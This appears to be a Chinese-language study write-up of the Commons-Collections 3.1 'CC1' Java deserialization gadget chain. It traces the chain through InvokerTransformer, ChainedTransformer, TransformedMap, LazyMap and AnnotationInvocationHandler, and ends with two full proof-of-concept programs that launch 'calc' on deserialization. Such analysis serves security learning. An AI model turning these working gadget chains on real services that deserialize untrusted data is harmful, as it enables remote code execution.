环境 JAVA <71
依赖写入POM.XML
-
-
-
commons-collections -
commons-collections -
3.1 -
-
我是笨比,硬是学了 两天才审明白。 但是回头看 还是挺简单的。。
直接看类中的decorate()
方法,第一个参数就是要修饰的Map
对象,第二个和第三个参数都是实现了Transformer
接口的类的对象,分别用来转换Map
的键和值。
- public class TransformedMap
- extends AbstractInputCheckedMapDecorator
- implements Serializable {
-
- public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
- return new TransformedMap(map, keyTransformer, valueTransformer);
- }
-
- protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
- super(map);
- this.keyTransformer = keyTransformer;
- this.valueTransformer = valueTransformer;
- }
-
这里keyTransformer、valueTransformer是处理新元素的key、value的回调。即⼀个实现了Transformer接⼝的类。
测试:
- import org.apache.commons.collections.Transformer;
- import org.apache.commons.collections.map.TransformedMap;
-
- import java.util.HashMap;
- import java.util.Map;
-
- public class Demo01 {
- public static void main(String[] args) {
- test1();
- }
- public static void printMap(Map map){
- for (Object entry: map.entrySet()){
- System.out.println(((Map.Entry)entry).getKey());
- System.out.println(((Map.Entry)entry).getValue());
- }
- }
- public static void test1(){
- Map innerMap = new HashMap();
- Map outerMap = TransformedMap.decorate(innerMap,new KeyTransformer(),new ValueTransformer());
- outerMap.put("key","value");
- printMap(outerMap);
- }
- }
-
- class KeyTransformer implements Transformer {
-
- @Override
- public Object transform(Object o) {
- System.out.println("KeyTransformer1");
- return "key1";
- }
- }
- class ValueTransformer implements Transformer{
-
- @Override
- public Object transform(Object o) {
- System.out.println("ValueTransformer");
- return "value";
- }
-
- }
-
利用getInstance
传值后,会通过transform
将对象返回
- public class ConstantTransformer implements Transformer, Serializable {
-
- public static Transformer getInstance(Object constantToReturn) {
- if (constantToReturn == null) {
- return NULL_INSTANCE;
- }
- return new ConstantTransformer(constantToReturn);
- }
-
- public ConstantTransformer(Object constantToReturn) {
- super();
- iConstant = constantToReturn;
- }
-
- public Object transform(Object input) {
- return iConstant;
- }
- }
测试
- import org.apache.commons.collections.functors.ConstantTransformer;
- import org.apache.commons.collections.map.TransformedMap;
-
- import java.util.HashMap;
- import java.util.Map;
-
- public class Demo02 {
- public static void main(String[] args) {
- test2();
- }
- public static void test2(){
- Map innerMap = new HashMap();
- Map outerMap = TransformedMap.decorate(innerMap,null,ConstantTransformer.getInstance("snowy"));
- outerMap.put("key","value");
- printMap(outerMap);
- }
- public static void printMap(Map map){
- for (Object entry: map.entrySet()){
- System.out.println(((Map.Entry)entry).getKey());
- System.out.println(((Map.Entry)entry).getValue());
- }
- }
- }
-
简单的理解为用于反射,与 ConstantTransformer一样也有getInstance方法,有三个参数,第一个参数是方法名,第二个参数是该方法的所有传入参数的类型(Class),第三个参数就是要传入的参数列表。,分别传给InvokerTransformer进行实例化(这里getInstance方法没有列举)
- public class InvokerTransformer implements Transformer, Serializable {
-
- public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
- super();
- iMethodName = methodName;
- iParamTypes = paramTypes;
- iArgs = args;
- }
-
- public Object transform(Object input) {
- if (input == null) {
- return null;
- }
- try {
- Class cls = input.getClass();
- Method method = cls.getMethod(iMethodName, iParamTypes);
- return method.invoke(input, iArgs);
-
- } catch (NoSuchMethodException ex) {
- throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
- } catch (IllegalAccessException ex) {
- throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
- } catch (InvocationTargetException ex) {
- throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
- }
- }
-
- }
测试
- import org.apache.commons.collections.functors.InvokerTransformer;
- import org.apache.commons.collections.map.TransformedMap;
-
- import java.util.HashMap;
- import java.util.Map;
-
- public class Demo03 {
- public static void main(String[] args) {
- test3();
- }
- public static void test3(){
- Map innerMap = new HashMap();
- Map outerMap = TransformedMap.decorate(innerMap,null,
- InvokerTransformer.getInstance("exec",new Class[]{String.class},new Object[]{"calc"}));
-
- outerMap.put("key",Runtime.getRuntime());
- }
- }
类似于一种递归调用,传入object后,将本次得到的object作为下一次的传入值
- import org.apache.commons.collections.Transformer;
- import org.apache.commons.collections.functors.ChainedTransformer;
- import org.apache.commons.collections.functors.ConstantTransformer;
- import org.apache.commons.collections.functors.InvokerTransformer;
- import org.apache.commons.collections.map.TransformedMap;
- import java.util.HashMap;
- import java.util.Map;
-
- public class Demo04 {
- public static void main(String[] args) throws Exception {
- Transformer[] transformers = new Transformer[]{
- new ConstantTransformer(Runtime.getRuntime()),
- new InvokerTransformer("exec",
- new Class[]{String.class},
- new Object[]{"calc"})
- };
- ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
- Map outerMap = TransformedMap.decorate(new HashMap(),null,chainedTransformer);
- outerMap.put("aaa","bbb");
- }
- }
-
测试
- import org.apache.commons.collections.Transformer;
- import org.apache.commons.collections.functors.ChainedTransformer;
- import org.apache.commons.collections.functors.ConstantTransformer;
- import org.apache.commons.collections.functors.InvokerTransformer;
- import org.apache.commons.collections.map.TransformedMap;
- import java.util.HashMap;
- import java.util.Map;
-
- public class Demo04 {
- public static void main(String[] args) throws Exception {
- test4();
- }
- public static void test4(){
- //这里是定义数组
- Transformer[] transformers = new Transformer[]{
- new ConstantTransformer(Runtime.getRuntime()),
- new InvokerTransformer("exec",
- new Class[]{String.class},
- new Object[]{"calc"})
- };
- ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
- Map outerMap = TransformedMap.decorate(new HashMap(),null,chainedTransformer);
- outerMap.put("aaa","bbb");
- }
- }
-
此链 主要就是通过几个Transform 实现类完成的。
主要的exec 利用 就是在 InvokerTransformer 类中开始的
用回溯法分析,先看transform
方法,这里try{}中的内容进行了反射调用
- public Object transform(Object input) {
- if (input == null) {
- return null;
- }
- try {
- Class cls = input.getClass();
- Method method = cls.getMethod(iMethodName, iParamTypes);
- return method.invoke(input, iArgs);
- }
在InvokerTransforme中参数iMethodName、iParamTypes、iArgs都可控,上边也提到过,第一个参数是方法名,第二个参数是该方法的所有传入参数的类型(Class),第三个参数就是要传入的参数列表
- public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
- super();
- iMethodName = methodName;
- iParamTypes = paramTypes;
- iArgs = args;
- }
知道 三个参数可控就可以构造一个transform的利用方式了 。这里用了反射 和 InvokerTransformer 进行对比。
- public class cc1 {
- public static void main(String[] args) throws Exception {
- //反射
- Runtime runtime = Runtime.getRuntime();
- //Class c = Runtime.class;
- //Method execMethod = c.getMethod("exec", String.class);
- //execMethod.invoke(runtime,"calc");
-
- //InvokerTransformer
- new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(runtime);
- }
- }
我们的目标就是 new InvokerTransformer(方法).transform(对象) 来执行exec
来看看谁调用了transform方法
往上查看valueTransformer参数,在TransformedMap中进行了调用,而decorate调用了TransformedMap方法,其中的三个参数前置中也有说过:第一个参数就是要修饰的Map对象,第二个和第三个参数都是实现了Transformer接口的类的对象,分别用来转换Map的键和值。
- public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
- return new TransformedMap(map, keyTransformer, valueTransformer);
- }
-
- protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
- super(map);
- this.keyTransformer = keyTransformer;
- this.valueTransformer = valueTransformer;
- }
此时就可以通过decorate方法进行调用了
- public class test {
- public static void main(String[] args) throws Exception {
- InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
- HashMap
- TransformedMap.decorate(map, null, invokerTransformer);
- }
- }
-
继续跟进查看谁调用了checkSetValue
,在AbstractInputCheckedMapDecorator
的setValue
方法中找到
- public Object setValue(Object value) {
- value = parent.checkSetValue(value);
- return entry.setValue(value);
- }
继续跟进查看何处调用setValue
,在AnnotationInvocationHandler
中找到,并且该方法重写了readObject,至此整条链结束
- private void readObject(java.io.ObjectInputStream s)
- throws java.io.IOException, ClassNotFoundException {
- s.defaultReadObject();
-
-
- // Check to make sure that types have not evolved incompatibly
-
- AnnotationType annotationType = null;
- try {
- annotationType = AnnotationType.getInstance(type);
- } catch(IllegalArgumentException e) {
- // Class is no longer an annotation type; time to punch out
- throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
- }
-
- Map
> memberTypes = annotationType.memberTypes(); -
-
- // If there are annotation members without values, that
- // situation is handled by the invoke method.
- for (Map.Entry
memberValue : memberValues.entrySet()) { - String name = memberValue.getKey();
- Class> memberType = memberTypes.get(name);
- if (memberType != null) { // i.e. member still exists
- Object value = memberValue.getValue();
- if (!(memberType.isInstance(value) ||
- value instanceof ExceptionProxy)) {
- memberValue.setValue(
- new AnnotationTypeMismatchExceptionProxy(
- value.getClass() + "[" + value + "]").setMember(
- annotationType.members().get(name)));
- }
- }
- }
- }
编写 POC前有四个问题
此时在序列化后发现无法序列化,原因在于Runtime中未实现Serializable接口,这里就可以ChainedTransformer获取Runtime的Class类,因为Class类中实现了Serializable接口,先通过反射和InvokerTransformer用法引出ChainedTransformer
- //反射
- Class c = Runtime.class;
- Method getRuntimeMethod = c.getMethod("getRuntime", null);
- Object r = getRuntimeMethod.invoke(null, null); //静态无参方法所以都是null
- Method execMethod = c.getMethod("exec", String.class);
- execMethod.invoke(r,"calc");
- //InvokerTransformer
- Method getRuntimeMethod1 = (Method) new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
-
- Runtime r1 = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntimeMethod1);
-
- new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r1);
- //ChainedTransformer
- Transformer[] transformers = new Transformer[]{
- new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null}),
- new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
- new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
- };
- new ChainedTransformer(transformers).transform(Runtime.class);
在该类中需要通过构造器修改memberValue的值,从而执行memberValue.setValue,但该类没有public
,所以默认是default,无法进行实例化
- class AnnotationInvocationHandler implements InvocationHandler, Serializable {
- private static final long serialVersionUID = 6182022883658399397L;
- private final Class extends Annotation> type;
- private final Map
memberValues; -
- AnnotationInvocationHandler(Class extends Annotation> type, Map
memberValues) { - this.type = type;
- this.memberValues = memberValues;
- }
这里同样使用反射方式获取,这里的outerMap是构造好的Map对象
- //Reflection
- Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
- Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);
- cons.setAccessible(true);
- Object o = cons.newInstance(Retention.class,outerMap);
memberType 判断
- private void readObject(java.io.ObjectInputStream s)
- throws java.io.IOException, ClassNotFoundException {
- s.defaultReadObject();
-
-
- // Check to make sure that types have not evolved incompatibly
-
- AnnotationType annotationType = null;
- try {
- annotationType = AnnotationType.getInstance(type);
- } catch(IllegalArgumentException e) {
- // Class is no longer an annotation type; time to punch out
- throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
- }
-
- Map
> memberTypes = annotationType.memberTypes(); -
-
- // If there are annotation members without values, that
- // situation is handled by the invoke method.
- for (Map.Entry
memberValue : memberValues.entrySet()) { - String name = memberValue.getKey();
- Class> memberType = memberTypes.get(name);
- if (memberType != null) { // i.e. member still exists
- Object value = memberValue.getValue();
- if (!(memberType.isInstance(value) ||
- value instanceof ExceptionProxy)) {
- memberValue.setValue(
- new AnnotationTypeMismatchExceptionProxy(
- value.getClass() + "[" + value + "]").setMember(
- annotationType.members().get(name)));
- }
- }
- }
- }
这里的
if (memberType != null) { // i.e. member still exists
可以使用注解
- @Target(ElementType.ANNOTATION_TYPE)
- public @interface Target {
-
- ElementType[] value();
- }
知道成员变量是value后再看,这里会获取我们传入map参数的key值,之后再在传入的memberType(注解)中获取该值,而注解中只有一个变量也就是value,所以只有当我们传入的map的key值为value时,便可通过get(name)成功获取,从而绕过null判断,所以这里通过put对key传参value即可——innerMap.put("value", "Sentiment");
- for (Map.Entry
memberValue : memberValues.entrySet()) { - String name = memberValue.getKey();
- Class> memberType = memberTypes.get(name);
除此外可以看到这里的setValue的值暂时不可控
- memberValue.setValue(
- new AnnotationTypeMismatchExceptionProxy(
- value.getClass() + "[" + value + "]").setMember(
- annotationType.members().get(name)));
看下setValue
方法
- public Object setValue(Object value) {
- value = parent.checkSetValue(value);
- return entry.setValue(value);
- }
继续跟进checkSetValue
方法,会调用valueTransforme
r的transform
方法而参数value就是前边memberValue.setValue括号内容不可控,而valueTransformer可控
- protected Object checkSetValue(Object value) {
- return valueTransformer.transform(value);
- }
这时候就联想到了前边说到的ConstantTransformer
类,在实例化时调用构造器方法,传入的参数,会经过transform
返回,所以如果通过该方法无论transform
中的input
是何值,都不会改变他return的内容
- public ConstantTransformer(Object constantToReturn) {
- super();
- iConstant = constantToReturn;
- }
-
- public Object transform(Object input) {
- return iConstant;
- }
这里直接加上即可
- Transformer[] transformers = new Transformer[]{
- //----------加入的内容------------
- new ConstantTransformer(Runtime.class),
- //--------------------------------
- new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null}),
- new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
- new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
- };
- new ChainedTransformer(transformers).transform(Runtime.class);
POC
- package org.example;
- import org.apache.commons.collections.Transformer;
- import org.apache.commons.collections.functors.ChainedTransformer;
- import org.apache.commons.collections.functors.ConstantTransformer;
- import org.apache.commons.collections.functors.InvokerTransformer;
- import org.apache.commons.collections.map.LazyMap;
- import org.apache.commons.collections.map.TransformedMap;
-
- import java.io.*;
- import java.lang.annotation.Target;
- import java.lang.reflect.Constructor;
- import java.lang.reflect.InvocationTargetException;
- import java.util.HashMap;
- import java.util.List;
- import java.util.Map;
-
- public class cc1 {
- public static void main(String[] args) throws Exception {
-
- Transformer transformers[] = new Transformer[]{
- new ConstantTransformer(Runtime.class),
- new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime",new Class[]{}}),
- new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
- new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
- };
- ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
- HashMap
- map.put("value","aaaa");
- Map outmap = TransformedMap.decorate(map, null, chainedTransformer);
-
- Class> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
- Constructor> cons = clazz.getDeclaredConstructor(Class.class, Map.class);
- cons.setAccessible(true);
- Object o = cons.newInstance(Target.class, outmap);
-
- serialize(o);
- unserialize("1.txt");
-
- }
- public static void serialize(Object obj) throws IOException {
- ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("1.txt"));
- out.writeObject(obj);
- }
-
-
- public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
- ObjectInputStream In = new ObjectInputStream(new FileInputStream(Filename));
- Object o = In.readObject();
- return o;
- }
-
- }
了解了transformeMap ,来看CC1第二个链子.
看下LazyMap 类的get
在get 中 是 factory 调用的 transform(key)
- public Object get(Object key) {
- // create value for key if key is not currently in the map
- if (map.containsKey(key) == false) {
- Object value = factory.transform(key);
- map.put(key, value);
- return value;
- }
- return map.get(key);
- }
所以就要先调用
- public static Map decorate(Map map, Transformer factory) {
- return new LazyMap(map, factory);
- }
来控制我们的 factory,decorate 会对factory进行赋值。
- protected LazyMap(Map map, Transformer factory) {
- super(map);
- if (factory == null) {
- throw new IllegalArgumentException("Factory must not be null");
- }
- this.factory = factory;
- }
所以要将TransformMap
的链进行修改
- //TransformMap
- Map outerMap = TransformedMap.decorate(innerMap, null, chainedTransformer);
-
- 改成:
- //LazyMap
- Map outerMap = LazyMap.decorate(innerMap,chainedTransformer);
之后就是动态代理部分了,之所以会用到动态代理,就是因为LazyMap
中,AnnotationInvocationHandler
的readObject
里面并没有用到get()
,但是在invoke()
方法中却用到了:
- public Object invoke(Object proxy, Method method, Object[] args) {
- String member = method.getName();
- Class>[] paramTypes = method.getParameterTypes();
-
- // Handle Object and Annotation methods
- if (member.equals("equals") && paramTypes.length == 1 &&
- paramTypes[0] == Object.class)
- return equalsImpl(args[0]);
- assert paramTypes.length == 0;
- if (member.equals("toString"))
- return toStringImpl();
- if (member.equals("hashCode"))
- return hashCodeImpl();
- if (member.equals("annotationType"))
- return type;
-
- // Handle annotation member accessors
- Object result = memberValues.get(member);
-
- if (result == null)
- throw new IncompleteAnnotationException(type, member);
-
- if (result instanceof ExceptionProxy)
- throw ((ExceptionProxy) result).generateException();
-
- if (result.getClass().isArray() && Array.getLength(result) != 0)
- result = cloneArray(result);
-
- return result;
- }
所以现在的问题就是如何触发这个invoke方法,此时看到了AnnotationInvocationHandler
类实现了InvocationHandler
类,直接就会联想到前边说过的代理
class AnnotationInvocationHandler implements InvocationHandler, Serializable {
所以可以通过AnnotationInvocationHandler
对构造的Map
进行代理,这样在反序列化的过程中,只要调用了委托对象的任何方法,都会进入AnnotationInvocationHandler
的invoke
方法中,从而调用get方法
POC
- package org.example;
- import org.apache.commons.collections.Transformer;
- import org.apache.commons.collections.functors.ChainedTransformer;
- import org.apache.commons.collections.functors.ConstantTransformer;
- import org.apache.commons.collections.functors.InvokerTransformer;
- import org.apache.commons.collections.map.LazyMap;
- import org.apache.commons.collections.map.TransformedMap;
-
- import java.io.*;
- import java.lang.annotation.Target;
- import java.lang.reflect.Constructor;
- import java.lang.reflect.InvocationHandler;
- import java.lang.reflect.InvocationTargetException;
- import java.lang.reflect.Proxy;
- import java.util.HashMap;
- import java.util.List;
- import java.util.Map;
-
- public class cc1 {
- public static void main(String[] args) throws Exception {
-
- Transformer transformers[] = new Transformer[]{
- new ConstantTransformer(Runtime.class),
- new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime",new Class[]{}}),
- new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
- new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
- };
- ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
- HashMap
-
- Map outmap = LazyMap.decorate(map, chainedTransformer);
-
- Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
- Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
- constructor.setAccessible(true);
-
- InvocationHandler handler = (InvocationHandler)constructor.newInstance(Target.class, outmap);
-
- Map poxymap = (Map)Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
-
- Object o = constructor.newInstance(Target.class, poxymap);
- serialize(o);
- unserialize("1.txt");
- }
- public static void serialize(Object obj) throws IOException {
- ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("1.txt"));
- out.writeObject(obj);
- }
- public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
- ObjectInputStream In = new ObjectInputStream(new FileInputStream(Filename));
- Object o = In.readObject();
- return o;
- }
- }